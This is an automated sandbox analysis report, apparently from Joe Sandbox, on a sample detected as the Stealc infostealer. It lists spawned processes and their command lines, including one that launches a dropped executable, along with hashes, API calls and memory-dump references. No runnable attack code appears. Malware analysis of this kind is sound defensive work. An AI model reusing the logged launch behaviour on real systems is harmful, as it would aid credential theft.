Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2473207536.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:21:56
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1476 -s 268
Imagebase:	0x740000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:22:09
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userEGDGCGCFHI.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:22:09
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	4

Executed Functions

Function 00DC2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00E3A6D8,?,00000040,?), ref: 00DC2738

Strings

S, xrefs: 00DC206A
a, xrefs: 00DC2296
', xrefs: 00DC2718

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: c2d8d4b07fadd83d28d3ab3b619f71ebc5350f09584d7778ca5f864786e6b42d
Instruction ID: 8b780e8fd3c981b44932314a6de814f2d4f3e9ba75d9c1a46b58c71e2f286453
Opcode Fuzzy Hash: c2d8d4b07fadd83d28d3ab3b619f71ebc5350f09584d7778ca5f864786e6b42d
Instruction Fuzzy Hash: 5EF1F127934E1B06E70860398C527F6A98AD7EA330F95433BBE63DB3F4E36949419254

Function 00DD8E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00DD8FDD

Part of subcall function 00DD3A83: HeapAlloc.KERNEL32(00000000,00DDA1AA,?,?,00DDA1AA,00000220,?,?,?), ref: 00DD3AB5

__freea.LIBCMT ref: 00DD8FF2
__freea.LIBCMT ref: 00DD9002

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: af8cef6d3c6a27e0205cbee9028abb65b49bde2c0e983756f4a1662dca34bcd8
Instruction ID: 8f1d0a8d7741c9c68bf24d2470be444451da512bb0b7ab36fc58dc8237d89a94
Opcode Fuzzy Hash: af8cef6d3c6a27e0205cbee9028abb65b49bde2c0e983756f4a1662dca34bcd8
Instruction Fuzzy Hash: 89518372600216AFEB225FA4CC41EBB7BAAEF44750B19052AFD08D6350EF31CD54A770

Function 00DDA3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DD9ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00DD9F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00DDA1ED,?,00000000,?,?,?), ref: 00DDA407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00DDA1ED,?,00000000,?,?,?), ref: 00DDA449

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: b29d7d885f30873392c0e3b8b43fef6c7d9a549c746ee357487595105502741c
Instruction ID: 03505f2bfc7f1d8e124adf681338669524f8f153228a9bf25f64588a3db47631
Opcode Fuzzy Hash: b29d7d885f30873392c0e3b8b43fef6c7d9a549c746ee357487595105502741c
Instruction Fuzzy Hash: 4F512071A002859FDB20DF79C884AAAFBF5EF81304F18846FD0868B351E6B59945CB72

Function 00DD6368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00DD8F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00DD639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00DD8F1C,?,?,00000000,?,00000000), ref: 00DD63BA

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: c3c1653702c43c9bbc9f7f63a2b73b170491d48ab858d5ec63c336b796549ea4
Instruction ID: 5ce91c2bccd66c5dfa019be91accafa4ecf74de76e5c3ccbdc2b217615c1576d
Opcode Fuzzy Hash: c3c1653702c43c9bbc9f7f63a2b73b170491d48ab858d5ec63c336b796549ea4
Instruction Fuzzy Hash: 1FF04D3240025ABBCF126F90DC09DEE3F66EF48764F098115FA186A230C736D975EBA5

Function 00DD9FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00DDA1F9,00DDA1ED,00000000), ref: 00DD9FDC

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 90c937e47fcc1ded079897bbfd101fa4e95d3755af417e4e5c58d4a4a8e4f168
Instruction ID: 2a15e75542c585256e7cfb6a5057e7a394c50c1b30a7e307c5a8cd9e7a5a4349
Opcode Fuzzy Hash: 90c937e47fcc1ded079897bbfd101fa4e95d3755af417e4e5c58d4a4a8e4f168
Instruction Fuzzy Hash: 385159719042589ADB218E2CCD80FF67BB8EB45304F2445EEE19AC7286C275AD46DB31

Non-executed Functions

Function 00E10F98 Relevance: 11.3, Strings: 5, Instructions: 5010COMMON

Download Yara Rule

Strings

m27/, xrefs: 00E11741
66.\, xrefs: 00E11719
KG&!, xrefs: 00E11583
B^U!, xrefs: 00E1120D
X/:, xrefs: 00E117A0

Memory Dump Source

Source File: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 66.\$B^U!$KG&!$X/:$m27/
API String ID: 0-1441538931
Opcode ID: 8454d25a04a29999b2916949a0a6f97e5025c7fbcbc34ec927bbb5b1bfad51b5
Instruction ID: 0e8c7b0111abdc7cfbd95bdab0d788e2bd92bc1449e68ba472dfa9ef52f57878
Opcode Fuzzy Hash: 8454d25a04a29999b2916949a0a6f97e5025c7fbcbc34ec927bbb5b1bfad51b5
Instruction Fuzzy Hash: D163427251E7D41ECB27CB304BB61917F66FE133103095ACEC6C1AB4B3C6909AA6E356

Function 00DDD39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00DDD57F

Strings

1#SNAN, xrefs: 00DDD4A7
1#IND, xrefs: 00DDD4A0
1#INF, xrefs: 00DDD4D1
1#QNAN, xrefs: 00DDD4AE

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 5870bacb501339821e66612c2e938afd028faafdd217be7c49bf635b2594babf
Instruction ID: dd9a05b1b57319e7d360c5b23f25459cf4a74c3bdf390167acf96063a5b4cd17
Opcode Fuzzy Hash: 5870bacb501339821e66612c2e938afd028faafdd217be7c49bf635b2594babf
Instruction Fuzzy Hash: 17D22771E082298FDF65DE28DD407EAB7B6EB84305F1841EAD44DE7240E774AE818F61

Function 00DDC814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00DDCB32,00000002,00000000,?,?,?,00DDCB32,?,00000000), ref: 00DDC8AD
GetLocaleInfoW.KERNEL32(?,20001004,00DDCB32,00000002,00000000,?,?,?,00DDCB32,?,00000000), ref: 00DDC8D6
GetACP.KERNEL32(?,?,00DDCB32,?,00000000), ref: 00DDC8EB

Strings

OCP, xrefs: 00DDC868
ACP, xrefs: 00DDC832

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fce36369ab361fe1bbf29ca39567a7da66b8a33c30ad34208eeda245e24d39b4
Instruction ID: e8ff96fbad5d8dcc89d7b78c836bbd51c76d0c7c1976b7000cb48804731d078e
Opcode Fuzzy Hash: fce36369ab361fe1bbf29ca39567a7da66b8a33c30ad34208eeda245e24d39b4
Instruction Fuzzy Hash: 7E21A432A20203E6DB249F55C941E9777A6BF54F50F5A9426E909DB300EB32DD40E370

Function 00DDC9E9 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00DDCAF5
IsValidCodePage.KERNEL32(00000000), ref: 00DDCB3E
IsValidLocale.KERNEL32(?,00000001), ref: 00DDCB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00DDCB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00DDCBB4

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 2003dc154ee17037da2f40d4ffbd896a66d99a3faf05ec623c8cd57465a9c715
Instruction ID: fd886f039e2cf51f74d9bb374f0695819ea0e2aa4b10e4176360c32f297ea8a1
Opcode Fuzzy Hash: 2003dc154ee17037da2f40d4ffbd896a66d99a3faf05ec623c8cd57465a9c715
Instruction Fuzzy Hash: 96516F71A1020AABDB10EFA5CC45ABA77B8FF09700F19546BE911EB390E770DA05CB71

Function 00DDC085 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

GetACP.KERNEL32(?,?,?,?,?,?,00DD1848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00DDC146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00DD1848,?,?,?,00000055,?,-00000050,?,?), ref: 00DDC171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00DDC2D4

Strings

utf8, xrefs: 00DDC243

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: ca9ec06cdab6470dd7eaa86bcb84dc4f9546127c044b0cc1cc93593573018888
Instruction ID: 55ed5dcc7470255a48508ff12da61942fdae37adfa6226384fc3519a8682e51e
Opcode Fuzzy Hash: ca9ec06cdab6470dd7eaa86bcb84dc4f9546127c044b0cc1cc93593573018888
Instruction Fuzzy Hash: 1E71D231A60313AADB24BBB5CC46BBAB7A8EF44750F18502BF505D7381EA70E941C7B4

Function 00DD3C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00DD3D1F

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 18ad254feef66a3778793fca10e54efd7caa74d84bcaff0e2f811d831fec6c66
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: EDB15A72E042499FDB158F68C881BEEBBB5EF55310F18416BE945AB381D234DE05CBB2

Function 00DC7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00DC792E
IsDebuggerPresent.KERNEL32 ref: 00DC79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00DC7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 00DC7A1D

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 1bf440c3fd97e4b3415a0ed6da7a67fa5a789f8d6400fed42944e436a86e079d
Instruction ID: bf927323f474e81cea268c467b934f19f1b224b2e62e4ae2f9fa15fabdbd74ec
Opcode Fuzzy Hash: 1bf440c3fd97e4b3415a0ed6da7a67fa5a789f8d6400fed42944e436a86e079d
Instruction Fuzzy Hash: B931FB75D053199BDB21EF64D989BCDBBB8AF08300F1041DAE40CAB250EB709B858F55

Function 00DDC498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00DD4EB1: GetLastError.KERNEL32(?,00000008,00DD9482), ref: 00DD4EB5
Part of subcall function 00DD4EB1: SetLastError.KERNEL32(00000000,00DEC480,00000024,00DD0419), ref: 00DD4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DDC4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DDC536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DDC5FC

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: f1f480bcd9961dac8efce19fd8a3a6ad50a5eec3d54c3f370378c296914e5f76
Instruction ID: d4d8560d70c9a87f61809bc8b6c5e4757c0a0cda12d5387c98575590a062e1a2
Opcode Fuzzy Hash: f1f480bcd9961dac8efce19fd8a3a6ad50a5eec3d54c3f370378c296914e5f76
Instruction Fuzzy Hash: C26190725202079BDB289F24DD82BBAB7A8EF04310F14617BE905C6399EB74E941CB70

Function 00DCDA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00DCDB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00DCDB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00DCDB82

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: adc392502a83249844ed643e3ba09d377085f55feb74bab0b64579c9a8edf7e3
Instruction ID: f086a12cc7d6b8c44eee8d8ad7513e90436ed5e3a7d4150a43b6480e3177fe02
Opcode Fuzzy Hash: adc392502a83249844ed643e3ba09d377085f55feb74bab0b64579c9a8edf7e3
Instruction Fuzzy Hash: 0331C474901329ABCB21DF64DD89B9CBBB9BF08310F5041EAE41CA7250EB749F858F64

Function 00DCFEF0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 9d3cc253c2608683694bcad5be4c9077ec6f38f6450a1c3d17c0b6d58bf8fa06
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 38F13E71E012199FDF14CFA9C884BADBBB5FF88314F19826AE915A7341D7309D058BA4

Function 00DD572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DD5727,?,?,00000008,?,?,00DE15F5,00000000), ref: 00DD5959

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
